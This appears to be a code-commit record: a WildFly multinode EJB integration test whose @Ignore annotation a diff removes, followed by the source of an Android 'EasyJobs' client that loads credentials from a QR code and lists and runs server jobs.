* A test case for testing the feature introduced in https://issues.jboss.org/browse/EJBCLIENT-34 which
* allows applications to pass JNDI context properties during JNDI context creation for (scoped) EJB client
* context creation
*
* @author Jaikiran Pai
*/
@RunWith(Arquillian.class)
@ServerSetup(PassivationConfigurationSetup.class)
@Ignore("WFLY-12512")
public class DynamicJNDIContextEJBInvocationTestCase {
private static final Logger logger = Logger.getLogger(DynamicJNDIContextEJBInvocationTestCase.class);
private static final String LOCAL_DEPLOYMENT_NAME = "dynamic-jndi-context-ejb-invocation-test";
private static final String REMOTE_SERVER_DEPLOYMENT_NAME = "deployment-on-other-server";
@Deployment(name = "local-server-deployment")
@TargetsContainer("multinode-client")
public static Archive<?> createLocalDeployment() {
final JavaArchive jar = ShrinkWrap.create(JavaArchive.class, LOCAL_DEPLOYMENT_NAME + ".jar");
jar.addClasses(StatefulBeanA.class, LocalServerStatefulRemote.class,PassivationConfigurationSetup.class, DynamicJNDIContextEJBInvocationTestCase.class, StatefulRemoteOnOtherServer.class, StatelessRemoteOnOtherServer.class);
jar.addClasses(StatefulRemoteHomeForBeanOnOtherServer.class);
jar.addAsManifestResource(DynamicJNDIContextEJBInvocationTestCase.class.getPackage(), "MANIFEST.MF", "MANIFEST.MF");
jar.addAsManifestResource(DynamicJNDIContextEJBInvocationTestCase.class.getPackage(), "ejb-jar.xml", "ejb-jar.xml");
jar.addAsManifestResource(createPermissionsXmlAsset(
new FilePermission(System.getProperty("jbossas.multinode.server") + "/standalone/tmp/auth/*", "read")),
"permissions.xml"
);
return jar;
}
@Deployment(name = "remote-server-deployment", testable = false)
@TargetsContainer("multinode-server")
public static Archive<?> createDeploymentForRemoteServer() {
final JavaArchive jar = ShrinkWrap.create(JavaArchive.class, REMOTE_SERVER_DEPLOYMENT_NAME + ".jar");
jar.addClasses(StatefulRemoteOnOtherServer.class, StatelessRemoteOnOtherServer.class, StatefulRemoteHomeForBeanOnOtherServer.class);
jar.addClasses(StatefulBeanOnOtherServer.class, StatelessBeanOnOtherServer.class);
return jar;
}
/**
* Tests that a SFSB hosted on server X can lookup and invoke a SFSB and SLSB hosted on a different server,
* by using a JNDI context which was created by passing the EJB client context creation properties
*
* @throws Exception
*/
@Test
@OperateOnDeployment("local-server-deployment")
public void testServerToServerSFSBInvocation() throws Exception {
final StatefulBeanA sfsbOnLocalServer = InitialContext.doLookup("java:module/" + StatefulBeanA.class.getSimpleName() + "!" + StatefulBeanA.class.getName());
final int initialCount = sfsbOnLocalServer.getCountByInvokingOnRemoteServerBean();
Assert.assertEquals("Unexpected initial count from stateful bean", 0, initialCount);
// just increment a few times
final int NUM_TIMES = 5;
for (int i = 0; i < NUM_TIMES; i++) {
sfsbOnLocalServer.incrementCountByInvokingOnRemoteServerBean();
}
final int countAfterIncrement = sfsbOnLocalServer.getCountByInvokingOnRemoteServerBean();
Assert.assertEquals("Unexpected count after increment, from stateful bean", NUM_TIMES, countAfterIncrement);
// let the SFSB invoke an SLSB on a remote server
final String message = "foo";
final String firstEcho = sfsbOnLocalServer.getEchoByInvokingOnRemoteServerBean(message);
Assert.assertEquals("Unexpected echo from remote server SLSB", message, firstEcho);
}
/**
* Tests that a SFSB Foo hosted on server X can lookup and store a SFSB and a SLSB hosted on a different server Y,
* by using a JNDI context which was created by passing the EJB client context creation properties. The SFSB Foo
* on server X is then allowed to passivate and after activation the invocations on the SFSB and SLSB members held
* as state by SFSB Foo are expected to correcty end up on the remote server Y and return the correct state information
*
* @throws Exception
*/
@Test
@OperateOnDeployment("local-server-deployment")
public void testSFSBPassivationWithScopedEJBProxyMemberInstances() throws Exception {
final StatefulBeanA sfsbOnLocalServer = InitialContext.doLookup("java:module/" + StatefulBeanA.class.getSimpleName() + "!" + StatefulBeanA.class.getName());
final int initialCount = sfsbOnLocalServer.getCountByInvokingOnRemoteServerBean();
Assert.assertEquals("Unexpected initial count from stateful bean", 0, initialCount);
// just increment a few times
final int NUM_TIMES_BEFORE_PASSIVATION = 5;
for (int i = 0; i < NUM_TIMES_BEFORE_PASSIVATION; i++) {
sfsbOnLocalServer.incrementCountByInvokingOnRemoteServerBean();
}
final int countAfterIncrement = sfsbOnLocalServer.getCountByInvokingOnRemoteServerBean();
Assert.assertEquals("Unexpected count after increment, from stateful bean", NUM_TIMES_BEFORE_PASSIVATION, countAfterIncrement);
// let the SFSB invoke an SLSB on a remote server
final String message = "foo";
final String firstEcho = sfsbOnLocalServer.getEchoByInvokingOnRemoteServerBean(message);
Assert.assertEquals("Unexpected echo from remote server SLSB", message, firstEcho);
// now let's wait for passivation of the SFSB on local server
final CountDownLatch passivationLatch = new CountDownLatch(1);
sfsbOnLocalServer.registerPassivationNotificationLatch(passivationLatch);
logger.trace("Triggering passivation of " + StatefulBeanA.class.getSimpleName() + " bean");
InitialContext.doLookup("java:module/" + StatefulBeanA.class.getSimpleName() + "!" + StatefulBeanA.class.getName());
final boolean passivated = passivationLatch.await(2, TimeUnit.SECONDS);
if (passivated) {
logger.trace("pre-passivate invoked on " + StatefulBeanA.class.getSimpleName() + " bean");
} else {
Assert.fail(sfsbOnLocalServer + " was not passivated");
}
// just wait a little while longer since the acknowledgement that the pre-passivate was invoked
// doesn't mean the passivation process is complete
Thread.sleep(1000);
// let's activate the passivated SFSB on local server
final int countAfterActivate = sfsbOnLocalServer.getCountByInvokingOnRemoteServerBean();
Assert.assertEquals("Unexpected count from stateful bean after it was activated", NUM_TIMES_BEFORE_PASSIVATION, countAfterActivate);
// just make sure @PostActivate was invoked
Assert.assertTrue("Post-activate method was not invoked on bean " + StatefulBeanA.class.getSimpleName(), sfsbOnLocalServer.wasPostActivateInvoked());
// now increment on the remote server SFSB via the local server SFSB
final int NUM_TIMES_AFTER_ACTIVATION = 2;
for (int i = 0; i < NUM_TIMES_AFTER_ACTIVATION; i++) {
sfsbOnLocalServer.incrementCountByInvokingOnRemoteServerBean();
}
final int counterAfterIncrementOnPostActivate = sfsbOnLocalServer.getCountByInvokingOnRemoteServerBean();
Assert.assertEquals("Unexpected count after increment, on the post activated stateful bean", NUM_TIMES_BEFORE_PASSIVATION + NUM_TIMES_AFTER_ACTIVATION, counterAfterIncrementOnPostActivate);
// let's also invoke on the remote server SLSB via the local server SFSB
final String echoAfterPostActivate = sfsbOnLocalServer.getEchoByInvokingOnRemoteServerBean(message);
Assert.assertEquals("Unexpected echo message from remote server SLSB", message, echoAfterPostActivate);
}
/**
* Tests that a SFSB hosted on server X can lookup and invoke a SFSB hosted on a different server, through the EJB 2.x
* home view, by using a JNDI context which was created by passing the EJB client context creation properties
* @see https://issues.jboss.org/browse/EJBCLIENT-51
*
* @throws Exception
*/
@Test
@OperateOnDeployment("local-server-deployment")
public void testServerToServerSFSBUsingEJB2xHomeView() throws Exception {
final StatefulBeanA sfsbOnLocalServer = InitialContext.doLookup("java:module/" + StatefulBeanA.class.getSimpleName() + "!" + StatefulBeanA.class.getName());
final int countUsingEJB2xHomeView = sfsbOnLocalServer.getStatefulBeanCountUsingEJB2xHomeView();
Assert.assertEquals("Unexpected initial count from stateful bean", 0, countUsingEJB2xHomeView);
// now try the other create... method on the remote home
final int countUsingEJB2xHomeViewDifferentWay = sfsbOnLocalServer.getStatefulBeanCountUsingEJB2xHomeViewDifferentWay();
Assert.assertEquals("Unexpected initial count from stateful bean", 0, countUsingEJB2xHomeViewDifferentWay);
// yet another create method
final int initialCount = 54;
final int countUsingEJB2xHomeViewYetAnotherWay = sfsbOnLocalServer.getStatefulBeanCountUsingEJB2xHomeViewYetAnotherWay(initialCount);
Assert.assertEquals("Unexpected initial count from stateful bean", initialCount, countUsingEJB2xHomeViewYetAnotherWay);
}
}
| Revert "Ignore DynamicJNDIContextEJBInvocationTestCase"
This reverts commit 6674703cfee9731bcb4a99864610c402d17188dc.
| testsuite/integration/multinode/src/test/java/org/jboss/as/test/multinode/remotecall/scoped/context/DynamicJNDIContextEJBInvocationTestCase.java | Revert "Ignore DynamicJNDIContextEJBInvocationTestCase" | <ide><path>estsuite/integration/multinode/src/test/java/org/jboss/as/test/multinode/remotecall/scoped/context/DynamicJNDIContextEJBInvocationTestCase.java
<ide> import org.jboss.shrinkwrap.api.Archive;
<ide> import org.jboss.shrinkwrap.api.ShrinkWrap;
<ide> import org.jboss.shrinkwrap.api.spec.JavaArchive;
<del>import org.junit.Ignore;
<ide> import org.junit.Test;
<ide> import org.junit.runner.RunWith;
<ide>
<ide> */
<ide> @RunWith(Arquillian.class)
<ide> @ServerSetup(PassivationConfigurationSetup.class)
<del>@Ignore("WFLY-12512")
<ide> public class DynamicJNDIContextEJBInvocationTestCase {
<ide>
<ide> private static final Logger logger = Logger.getLogger(DynamicJNDIContextEJBInvocationTestCase.class); |
|
Java | bsd-3-clause | f6520942dd0f490e2469033da47fdf83374906af | 0 | caiguanhao/EasyJobs-android,caiguanhao/EasyJobs-android | package com.cghio.easyjobs;
import android.app.AlertDialog;
import android.content.ActivityNotFoundException;
import android.content.DialogInterface;
import android.content.Intent;
import android.content.SharedPreferences;
import android.net.Uri;
import android.os.Bundle;
import android.util.Base64;
import android.view.Menu;
import android.view.MenuInflater;
import android.view.MenuItem;
import android.view.View;
import android.widget.AdapterView;
import android.widget.ListView;
import android.widget.SimpleAdapter;
import android.widget.Toast;
import com.loopj.android.http.AsyncHttpClient;
import com.loopj.android.http.AsyncHttpResponseHandler;
import com.loopj.android.http.RequestParams;
import org.apache.http.Header;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Comparator;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
public class Jobs extends EasyJobsBase {
private static String PREF_FILE = "auth_info";
private static String PREF_VERSION = "VERSION";
private static String PREF_URL = "URL";
private static String PREF_CONTENT = "CONTENT";
private static String API_HELP_URL = "";
private static String API_TOKEN = "";
private static String JOBS_INDEX_VERB = "";
private static String JOBS_INDEX_URL = "";
private static String JOBS_SHOW_URL = "";
private static String JOBS_RUN_URL = "";
private static String JOBS_PARAMETERS_INDEX_URL = "";
private static String TOKEN_LOGIN_URL = "";
private static String REVOKE_TOKEN_URL = "";
private static boolean launched = false;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_jobs);
startEasyJobs();
if (!launched) { // first time launch from link
onNewIntent(getIntent());
}
launched = true;
}
@Override
protected void onNewIntent(Intent intent) {
super.onNewIntent(intent);
String fromURI = null;
if (intent != null) {
Uri data = intent.getData();
if (data != null) {
fromURI = data.getSchemeSpecificPart();
}
}
if (fromURI != null) {
decode(fromURI.substring(2));
}
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
MenuInflater inflater = getMenuInflater();
inflater.inflate(R.menu.reload_menu, menu);
return true;
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
switch (item.getItemId()) {
case R.id.reload:
removeEtagContent(JOBS_INDEX_URL);
startEasyJobs();
return true;
default:
return super.onOptionsItemSelected(item);
}
}
private void startEasyJobs() {
if (readPrefs()) {
getHelp();
} else {
showScanButton();
}
}
private boolean readPrefs() {
SharedPreferences sharedPrefs = getSharedPreferences(PREF_FILE, 0);
int VERSION = sharedPrefs.getInt(PREF_VERSION, 0);
String URL = sharedPrefs.getString(PREF_URL, "");
String CONTENT = sharedPrefs.getString(PREF_CONTENT, "");
// validate version number
if (VERSION <= 0) return false;
if (VERSION > MAX_API_VERSION) return false;
// validate help URL
try {
java.net.URL url = new URL(URL);
url.toURI();
} catch (Exception e) {
return false;
}
if (CONTENT.length() == 0) return false;
API_HELP_URL = URL;
API_TOKEN = CONTENT;
return true;
}
private void getHelp() {
if (API_TOKEN.length() == 0) return;
RequestParams params = new RequestParams();
params.put("token", API_TOKEN);
AsyncHttpClient client = new AsyncHttpClient();
client.setTimeout(TIMEOUT);
showLoading();
client.get(API_HELP_URL, params, new AsyncHttpResponseHandler() {
@Override
public void onFailure(Throwable e, String response) {
hideLoading();
String error;
if (e != null && e.getCause() != null) {
error = e.getCause().getMessage();
} else if (e != null && e.getCause() == null) {
error = e.getMessage();
} else {
error = getString(R.string.error_connection_problem);
}
if (error.matches(".*[Uu]nauthorized.*")) {
error += "\n\n" + getString(R.string.error_need_refresh);
}
showSimpleErrorDialog(error);
showReloadAndScanButton();
}
@Override
public void onSuccess(String response) {
updateTitle();
hideLoading();
try {
JSONObject helpObj = new JSONObject(response);
JSONObject jobsObj = helpObj.getJSONObject("jobs");
JSONObject jobsIndexObj = jobsObj.getJSONObject("index");
JOBS_INDEX_VERB = jobsIndexObj.getString("verb");
JOBS_INDEX_URL = jobsIndexObj.getString("url");
JSONObject jobsShowObj = jobsObj.getJSONObject("show");
JOBS_SHOW_URL = jobsShowObj.getString("url");
JSONObject jobsRunObj = jobsObj.getJSONObject("run");
JOBS_RUN_URL = jobsRunObj.getString("url");
JSONObject jobsParamsObj = helpObj.getJSONObject("job_parameters");
JSONObject jobsParamsIndexObj = jobsParamsObj.getJSONObject("index");
JOBS_PARAMETERS_INDEX_URL = jobsParamsIndexObj.getString("url");
JSONObject tokensObj = helpObj.getJSONObject("tokens");
JSONObject tokensRevokeObj = tokensObj.getJSONObject("revoke");
REVOKE_TOKEN_URL = tokensRevokeObj.getString("url");
JSONObject tokensLoginObj = tokensObj.getJSONObject("login");
TOKEN_LOGIN_URL = tokensLoginObj.getString("url");
getJobs();
} catch (JSONException e) {
showSimpleErrorDialog(getString(R.string.error_should_update_easyjobs));
showReloadAndScanButton();
}
}
});
}
private void getJobs() {
if (JOBS_INDEX_VERB.length() == 0 || JOBS_INDEX_URL.length() == 0) return;
String cachedContent = getEtagContent(JOBS_INDEX_URL);
if (cachedContent.length() > 0) {
parseContent(cachedContent);
}
AsyncHttpClient client = new AsyncHttpClient();
RequestParams params = new RequestParams();
params.put("token", API_TOKEN);
client.setTimeout(TIMEOUT);
showLoading();
client.addHeader(IF_NONE_MATCH, getEtag(JOBS_INDEX_URL));
client.get(JOBS_INDEX_URL, params, new AsyncHttpResponseHandler() {
@Override
public void onFailure(Throwable e, String response) {
hideLoading();
if (isNotModified(e)) return;
if (e != null && e.getCause() != null) {
showSimpleErrorDialog(e.getCause().getMessage());
} else if (e != null && e.getCause() == null) {
showSimpleErrorDialog(e.getMessage());
} else {
showSimpleErrorDialog(getString(R.string.error_connection_problem));
}
showReloadAndScanButton();
}
@Override
public void onSuccess(int statusCode, Header[] headers, String content) {
hideLoading();
String etag = getHeader(headers, ETAG);
saveETagAndContent(JOBS_INDEX_URL, etag, content);
parseContent(content);
}
});
}
private void parseContent(String content) {
try {
List<Map<String, Object>> data = new ArrayList<Map<String, Object>>();
JSONArray jobs = new JSONArray(content);
for (int i = 0; i < jobs.length(); i++) {
JSONObject object = jobs.getJSONObject(i);
Map<String, Object> map = new HashMap<String, Object>();
map.put("ID", object.getInt("id"));
map.put("KEY", object.getString("name"));
String server = object.getString("server_name");
if (server.equals("null")) server = getString(R.string.no_server);
map.put("VALUE", server);
int type_id = 0;
if (!object.isNull("type_id")) type_id = object.getInt("type_id");
map.put("TYPE_ID", type_id);
String type_name = object.getString("type_name");
if (type_name.equals("null")) type_name = getString(R.string.orphans);
map.put("TYPE_NAME", type_name);
data.add(map);
}
Collections.sort(data, new Comparator<Map<String, Object>>() {
@Override
public int compare(Map<String, Object> obj1, Map<String, Object> obj2) {
return Integer.parseInt(obj1.get("TYPE_ID").toString()) -
Integer.parseInt(obj2.get("TYPE_ID").toString());
}
});
String last_type_name = null;
for (int i = 0; i < data.size(); i++) {
Map<String, Object> object = data.get(i);
String type_name = object.get("TYPE_NAME").toString();
if (type_name.equals(last_type_name)) continue;
Map<String, Object> map = new HashMap<String, Object>();
map.put("KEY", type_name);
data.add(i, map);
last_type_name = type_name;
}
{
Map<String, Object> map = new HashMap<String, Object>();
map.put("KEY", getString(R.string.actions));
data.add(map);
}
int[] other_buttons_text = {R.string.browse_web_page, R.string.revoke_access};
int[] other_buttons_desc = {R.string.browse_web_page_desc, R.string.revoke_access_desc};
for (int i = 0; i < other_buttons_text.length; i++) {
Map<String, Object> map = new HashMap<String, Object>();
map.put("KEY", getString(other_buttons_text[i]));
map.put("VALUE", getString(other_buttons_desc[i]));
data.add(map);
}
EasyJobsAdapter adapter = new EasyJobsAdapter(Jobs.this, R.layout.listview_jobs_items,
data);
ListView listview_jobs = (ListView) findViewById(R.id.listView_jobs);
listview_jobs.setAdapter(adapter);
listview_jobs.setOnItemClickListener(new AdapterView.OnItemClickListener() {
@Override
public void onItemClick(AdapterView<?> adapterView, View view, int i, long l) {
switch (i - adapterView.getCount()) {
case -1:
toRevokeAccess();
break;
case -2:
toBrowseWebPage();
break;
default:
Object item = adapterView.getAdapter().getItem(i);
if (item instanceof Map) {
if (!((Map) item).containsKey("ID")) break;
int ID = Integer.parseInt(((Map) item).get("ID").toString());
Intent intent = new Intent(Jobs.this, JobsDetails.class);
intent.putExtra("API_TOKEN", API_TOKEN);
intent.putExtra("JOB_ID", ID);
intent.putExtra("JOBS_SHOW_URL", JOBS_SHOW_URL);
intent.putExtra("JOBS_RUN_URL", JOBS_RUN_URL);
intent.putExtra("JOBS_PARAMETERS_INDEX_URL",
JOBS_PARAMETERS_INDEX_URL);
Jobs.this.startActivity(intent);
}
}
}
});
listview_jobs.setOnItemLongClickListener(new AdapterView.OnItemLongClickListener() {
@Override
public boolean onItemLongClick(AdapterView<?> adapterView, View view, int i, long l) {
Object item = adapterView.getAdapter().getItem(i);
if (item instanceof Map) {
if (((Map) item).containsKey("KEY")) {
copyText(((Map) item).get("KEY").toString());
Toast.makeText(Jobs.this, R.string.string_copied, Toast.LENGTH_SHORT).show();
return true;
}
}
return false;
}
});
} catch (JSONException e) {
showSimpleErrorDialog(getString(R.string.error_should_update_easyjobs));
showReloadAndScanButton();
}
}
private void showScanButton() {
List<Map<String, Object>> data = new ArrayList<Map<String, Object>>();
Map<String, Object> map = new HashMap<String, Object>();
map.put("K", getString(R.string.scan));
map.put("V", getString(R.string.scan_desc));
data.add(map);
map = new HashMap<String, Object>();
map.put("K", getString(R.string.about));
map.put("V", getString(R.string.about_desc));
data.add(map);
SimpleAdapter adapter = new SimpleAdapter(Jobs.this, data,
R.layout.listview_jobs_items, new String[]{"K", "V"},
new int[]{R.id.text_key, R.id.text_value});
ListView listview_jobs = (ListView) findViewById(R.id.listView_jobs);
listview_jobs.setAdapter(adapter);
listview_jobs.setOnItemClickListener(new AdapterView.OnItemClickListener() {
@Override
public void onItemClick(AdapterView<?> adapterView, View view, int i, long l) {
switch (i) {
case 0:
openScanner();
break;
case 1:
showAboutInfo();
break;
}
}
});
}
private void showReloadAndScanButton() {
List<Map<String, Object>> data = new ArrayList<Map<String, Object>>();
Map<String, Object> map = new HashMap<String, Object>();
map.put("K", getString(R.string.retry));
map.put("V", getString(R.string.retry_desc));
data.add(map);
map = new HashMap<String, Object>();
map.put("K", getString(R.string.scan));
map.put("V", getString(R.string.scan_desc));
data.add(map);
map = new HashMap<String, Object>();
map.put("K", getString(R.string.revoke_access));
map.put("V", getString(R.string.revoke_access_desc));
data.add(map);
SimpleAdapter adapter = new SimpleAdapter(Jobs.this, data,
R.layout.listview_jobs_items, new String[]{"K", "V"},
new int[]{R.id.text_key, R.id.text_value});
ListView listview_jobs = (ListView) findViewById(R.id.listView_jobs);
listview_jobs.setAdapter(adapter);
listview_jobs.setOnItemClickListener(new AdapterView.OnItemClickListener() {
@Override
public void onItemClick(AdapterView<?> adapterView, View view, int i, long l) {
switch (i) {
case 0:
startEasyJobs();
break;
case 1:
openScanner();
break;
case 2:
toRevokeAccess();
break;
}
}
});
}
private void openScanner() {
try {
Intent intent = new Intent("com.google.zxing.client.android.SCAN");
intent.putExtra("SCAN_MODE", "QR_CODE_MODE");
startActivityForResult(intent, 1);
} catch (ActivityNotFoundException e) {
AlertDialog alertDialog = new AlertDialog.Builder(Jobs.this).create();
alertDialog.setTitle(R.string.error);
alertDialog.setMessage(getString(R.string.error_barcode_scanner_not_installed));
alertDialog.setButton(AlertDialog.BUTTON_NEGATIVE, getString(R.string.cancel),
new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialogInterface, int i) {
}
});
alertDialog.setButton(AlertDialog.BUTTON_POSITIVE, getString(R.string.ok),
new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialogInterface, int i) {
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setData(Uri.parse(
"market://details?id=com.google.zxing.client.android"));
startActivity(intent);
}
});
alertDialog.show();
}
}
public void onActivityResult(int requestCode, int resultCode, Intent intent) {
if (requestCode == 1 && resultCode == RESULT_OK) {
String content = intent.getStringExtra("SCAN_RESULT");
if (content == null) return;
decode(content);
}
}
private void decode(String content) {
String decoded_content = null;
try {
byte[] decoded = Base64.decode(content, Base64.NO_WRAP);
decoded_content = new String(decoded);
} catch (IllegalArgumentException e) {
showSimpleErrorDialog(getString(R.string.error_invalid_qrcode));
}
if (decoded_content != null) {
try {
JSONObject object = new JSONObject(decoded_content);
int VERSION = object.getInt("v");
String URL = object.getString("u");
String CONTENT = object.getString("c");
// validate version number
if (VERSION <= 0) throw new JSONException(null);
if (VERSION > MAX_API_VERSION)
throw new Exception(getString(R.string.error_please_update_app));
// validate help URL
URL url = new URL(URL);
url.toURI(); // stop never used warning
if (CONTENT.length() == 0)
throw new Exception(getString(R.string.error_invalid_qrcode));
SharedPreferences sharedPrefs = getSharedPreferences(PREF_FILE, 0);
SharedPreferences.Editor editor = sharedPrefs.edit();
editor.putInt(PREF_VERSION, VERSION);
editor.putString(PREF_URL, URL);
editor.putString(PREF_CONTENT, CONTENT);
editor.commit();
} catch (MalformedURLException e) {
showSimpleErrorDialog(getString(R.string.error_invalid_url));
} catch (JSONException e) {
showSimpleErrorDialog(getString(R.string.error_invalid_qrcode));
} catch (Exception e) {
showSimpleErrorDialog(e.getMessage());
}
if (readPrefs()) {
startEasyJobs();
}
}
}
private void toBrowseWebPage() {
AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setMessage(R.string.confirm_browse_webpage).setPositiveButton(R.string.yes,
new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialogInterface, int i) {
Intent intent = new Intent(Intent.ACTION_VIEW,
Uri.parse(TOKEN_LOGIN_URL.replace(":token", API_TOKEN)));
startActivity(intent);
revokeAccessWithoutSendingRevokeAccessRequest();
}
}).setNegativeButton(R.string.no, null).show();
}
private void toRevokeAccess() {
AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setMessage(R.string.confirm_revoke_access).setPositiveButton(R.string.yes,
new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialogInterface, int i) {
revokeAccess();
}
}).setNegativeButton(R.string.no, null).show();
}
private void removeAccessCredentialsOnly() {
SharedPreferences sharedPrefs = getSharedPreferences(PREF_FILE, 0);
SharedPreferences.Editor editor = sharedPrefs.edit();
editor.clear();
editor.commit();
clearEtags();
}
private void revokeAccessOnly() {
removeAccessCredentialsOnly();
AsyncHttpClient client = new AsyncHttpClient();
client.delete(REVOKE_TOKEN_URL + "?token=" + API_TOKEN, new AsyncHttpResponseHandler() {
@Override
public void onSuccess(String response) {
}
});
}
private void revokeAccessWithoutSendingRevokeAccessRequest() {
removeAccessCredentialsOnly();
setAllVariablesToEmpty();
updateTitle();
startEasyJobs();
}
private void revokeAccess() {
revokeAccessOnly();
setAllVariablesToEmpty();
updateTitle();
startEasyJobs();
}
private void setAllVariablesToEmpty() {
API_HELP_URL = "";
API_TOKEN = "";
JOBS_INDEX_VERB = "";
JOBS_INDEX_URL = "";
JOBS_SHOW_URL = "";
JOBS_RUN_URL = "";
JOBS_PARAMETERS_INDEX_URL = "";
REVOKE_TOKEN_URL = "";
TOKEN_LOGIN_URL = "";
}
private void updateTitle() {
if (API_HELP_URL.length() > 0) {
Uri uri = Uri.parse(API_HELP_URL);
String host = uri.getHost();
if (uri.getPort() > 0 && uri.getPort() != 80) {
host += ":" + uri.getPort();
}
setTitle(getString(R.string.app_name) + " - " + host);
} else {
setTitle(getString(R.string.app_name));
}
}
}
| EasyJobs/src/main/java/com/cghio/easyjobs/Jobs.java | package com.cghio.easyjobs;
import android.app.AlertDialog;
import android.content.ActivityNotFoundException;
import android.content.DialogInterface;
import android.content.Intent;
import android.content.SharedPreferences;
import android.net.Uri;
import android.os.Bundle;
import android.util.Base64;
import android.view.Menu;
import android.view.MenuInflater;
import android.view.MenuItem;
import android.view.View;
import android.widget.AdapterView;
import android.widget.ListView;
import android.widget.SimpleAdapter;
import android.widget.Toast;
import com.loopj.android.http.AsyncHttpClient;
import com.loopj.android.http.AsyncHttpResponseHandler;
import com.loopj.android.http.RequestParams;
import org.apache.http.Header;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Comparator;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
public class Jobs extends EasyJobsBase {
private static String PREF_FILE = "auth_info";
private static String PREF_VERSION = "VERSION";
private static String PREF_URL = "URL";
private static String PREF_CONTENT = "CONTENT";
private static String API_HELP_URL = "";
private static String API_TOKEN = "";
private static String JOBS_INDEX_VERB = "";
private static String JOBS_INDEX_URL = "";
private static String JOBS_SHOW_URL = "";
private static String JOBS_RUN_URL = "";
private static String JOBS_PARAMETERS_INDEX_URL = "";
private static String TOKEN_LOGIN_URL = "";
private static String REVOKE_TOKEN_URL = "";
private static boolean launched = false;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_jobs);
startEasyJobs();
if (!launched) { // first time launch from link
onNewIntent(getIntent());
}
launched = true;
}
@Override
protected void onNewIntent(Intent intent) {
super.onNewIntent(intent);
String fromURI = null;
if (intent != null) {
Uri data = intent.getData();
if (data != null) {
fromURI = data.getSchemeSpecificPart();
}
}
if (fromURI != null) {
decode(fromURI.substring(2));
}
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
MenuInflater inflater = getMenuInflater();
inflater.inflate(R.menu.reload_menu, menu);
return true;
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
switch (item.getItemId()) {
case R.id.reload:
removeEtagContent(JOBS_INDEX_URL);
startEasyJobs();
return true;
default:
return super.onOptionsItemSelected(item);
}
}
private void startEasyJobs() {
if (readPrefs()) {
getHelp();
} else {
showScanButton();
}
}
private boolean readPrefs() {
SharedPreferences sharedPrefs = getSharedPreferences(PREF_FILE, 0);
int VERSION = sharedPrefs.getInt(PREF_VERSION, 0);
String URL = sharedPrefs.getString(PREF_URL, "");
String CONTENT = sharedPrefs.getString(PREF_CONTENT, "");
// validate version number
if (VERSION <= 0) return false;
if (VERSION > MAX_API_VERSION) return false;
// validate help URL
try {
java.net.URL url = new URL(URL);
url.toURI();
} catch (Exception e) {
return false;
}
if (CONTENT.length() == 0) return false;
API_HELP_URL = URL;
API_TOKEN = CONTENT;
return true;
}
private void getHelp() {
if (API_TOKEN.length() == 0) return;
RequestParams params = new RequestParams();
params.put("token", API_TOKEN);
AsyncHttpClient client = new AsyncHttpClient();
client.setTimeout(TIMEOUT);
showLoading();
client.get(API_HELP_URL, params, new AsyncHttpResponseHandler() {
@Override
public void onFailure(Throwable e, String response) {
hideLoading();
String error;
if (e != null && e.getCause() != null) {
error = e.getCause().getMessage();
} else if (e != null && e.getCause() == null) {
error = e.getMessage();
} else {
error = getString(R.string.error_connection_problem);
}
if (error.matches(".*[Uu]nauthorized.*")) {
error += "\n\n" + getString(R.string.error_need_refresh);
}
showSimpleErrorDialog(error);
showReloadAndScanButton();
}
@Override
public void onSuccess(String response) {
updateTitle();
hideLoading();
try {
JSONObject helpObj = new JSONObject(response);
JSONObject jobsObj = helpObj.getJSONObject("jobs");
JSONObject jobsIndexObj = jobsObj.getJSONObject("index");
JOBS_INDEX_VERB = jobsIndexObj.getString("verb");
JOBS_INDEX_URL = jobsIndexObj.getString("url");
JSONObject jobsShowObj = jobsObj.getJSONObject("show");
JOBS_SHOW_URL = jobsShowObj.getString("url");
JSONObject jobsRunObj = jobsObj.getJSONObject("run");
JOBS_RUN_URL = jobsRunObj.getString("url");
JSONObject jobsParamsObj = helpObj.getJSONObject("job_parameters");
JSONObject jobsParamsIndexObj = jobsParamsObj.getJSONObject("index");
JOBS_PARAMETERS_INDEX_URL = jobsParamsIndexObj.getString("url");
JSONObject tokensObj = helpObj.getJSONObject("tokens");
JSONObject tokensRevokeObj = tokensObj.getJSONObject("revoke");
REVOKE_TOKEN_URL = tokensRevokeObj.getString("url");
JSONObject tokensLoginObj = tokensObj.getJSONObject("login");
TOKEN_LOGIN_URL = tokensLoginObj.getString("url");
getJobs();
} catch (JSONException e) {
showSimpleErrorDialog(getString(R.string.error_should_update_easyjobs));
showReloadAndScanButton();
}
}
});
}
private void getJobs() {
if (JOBS_INDEX_VERB.length() == 0 || JOBS_INDEX_URL.length() == 0) return;
String cachedContent = getEtagContent(JOBS_INDEX_URL);
if (cachedContent.length() > 0) {
parseContent(cachedContent);
}
AsyncHttpClient client = new AsyncHttpClient();
RequestParams params = new RequestParams();
params.put("token", API_TOKEN);
client.setTimeout(TIMEOUT);
showLoading();
client.addHeader(IF_NONE_MATCH, getEtag(JOBS_INDEX_URL));
client.get(JOBS_INDEX_URL, params, new AsyncHttpResponseHandler() {
@Override
public void onFailure(Throwable e, String response) {
hideLoading();
if (isNotModified(e)) return;
if (e != null && e.getCause() != null) {
showSimpleErrorDialog(e.getCause().getMessage());
} else if (e != null && e.getCause() == null) {
showSimpleErrorDialog(e.getMessage());
} else {
showSimpleErrorDialog(getString(R.string.error_connection_problem));
}
showReloadAndScanButton();
